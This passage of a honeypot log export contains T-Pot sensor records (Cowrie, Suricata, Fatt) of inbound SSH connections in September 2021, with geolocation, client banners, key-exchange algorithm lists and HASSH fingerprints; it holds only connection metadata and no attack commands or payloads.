27315	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:59.215878+03	2021-09-20 14:15:14.416647+03	{"_id": "ugbpAnwBvYTbRNuEpyY-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33406, "timestamp": "2021-09-20T11:13:59.215878", "@timestamp": "2021-09-20T11:13:59.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27316	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:58.769424+03	2021-09-20 14:15:14.418647+03	{"_id": "yQbpAnwBvYTbRNuEpyb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ae8a5001f00b", "@version": "1", "duration": 3.281430721282959, "timestamp": "2021-09-20T11:13:58.769424Z", "@timestamp": "2021-09-20T11:13:58.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27317	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:13:59.266696+03	2021-09-20 14:15:14.419647+03	{"_id": "xAbpAnwBvYTbRNuEpyb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d8b9d1a833b5", "@version": "1", "timestamp": "2021-09-20T11:13:59.266696Z", "@timestamp": "2021-09-20T11:13:59.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27318	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:13:59.266164+03	2021-09-20 14:15:14.420679+03	{"_id": "zQbpAnwBvYTbRNuEqSbz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:13:59.158046+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1705460326951262, "payload": "AAADzAYUWuPLcGBcu3ZCvmtvJZFP3wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33406, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:13:59.266164Z", "@timestamp": "2021-09-20T11:13:59.266Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Z..p`\\\\.vB.ko%.O....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
27319	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:00.136281+03	2021-09-20 14:15:14.421674+03	{"_id": "zgbpAnwBvYTbRNuEqSbz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2025590009354840, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47540, "dest_port": 22, "timestamp": "2021-09-20T11:14:00.136281Z", "@timestamp": "2021-09-20T11:14:00.136Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27320	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:00.136445+03	2021-09-20 14:15:14.422674+03	{"_id": "zwbpAnwBvYTbRNuEqyYn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47540, "timestamp": "2021-09-20T11:14:00.136445", "@timestamp": "2021-09-20T11:14:00.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27321	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:59.943884+03	2021-09-20 14:15:14.424648+03	{"_id": "0gbpAnwBvYTbRNuEqybi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a235e0e49439", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:59.943884Z", "@timestamp": "2021-09-20T11:13:59.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27322	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:14:00.635903+03	2021-09-20 14:15:14.425674+03	{"_id": "0wbpAnwBvYTbRNuEqybi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "d8b9d1a833b5", "@version": "1", "duration": 1.4224727153778076, "timestamp": "2021-09-20T11:14:00.635903Z", "@timestamp": "2021-09-20T11:14:00.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27323	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:02.627837+03	2021-09-20 14:15:14.426674+03	{"_id": "3AbpAnwBvYTbRNuEsyay", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59774 (192.168.176.2:22) [session: d9149417b87d]", "session": "d9149417b87d", "@version": "1", "protocol": "ssh", "src_port": 59774, "dest_port": 22, "timestamp": "2021-09-20T11:14:02.627837Z", "@timestamp": "2021-09-20T11:14:02.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27324	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:14:02.904589+03	2021-09-20 14:15:14.427674+03	{"_id": "5AbpAnwBvYTbRNuEtSar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 55503543230711, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59774, "dest_port": 22, "timestamp": "2021-09-20T11:14:02.904589Z", "@timestamp": "2021-09-20T11:14:02.904Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27325	178.128.20.19	109.199.241.180	Fatt	2021-09-20 14:14:03.064774+03	2021-09-20 14:15:14.428674+03	{"_id": "6AbpAnwBvYTbRNuEtibh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "178.128.20.19", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45960, "dest_port": 22, "timestamp": "2021-09-20T11:14:03.064774", "@timestamp": "2021-09-20T11:14:03.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27338	178.128.20.19	109.199.241.180	Suricata	2021-09-20 14:14:03.064651+03	2021-09-20 14:15:14.446674+03	{"_id": "4gbpAnwBvYTbRNuEtSar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.20.19", "dest_ip": "192.168.20.116", "flow_id": 603794773303784, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45960, "dest_port": 22, "timestamp": "2021-09-20T11:14:03.064651Z", "@timestamp": "2021-09-20T11:14:03.064Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27326	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:02.904736+03	2021-09-20 14:15:14.430648+03	{"_id": "5wbpAnwBvYTbRNuEtibh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59774, "timestamp": "2021-09-20T11:14:02.904736", "@timestamp": "2021-09-20T11:14:02.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27327	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:14:03.670674+03	2021-09-20 14:15:14.431674+03	{"_id": "BAbpAnwBvYTbRNuEuSeV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2184037795612721, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59488, "dest_port": 22, "timestamp": "2021-09-20T11:14:03.670674Z", "@timestamp": "2021-09-20T11:14:03.670Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27328	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:03.867729+03	2021-09-20 14:15:14.432674+03	{"_id": "CAbpAnwBvYTbRNuEuifL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 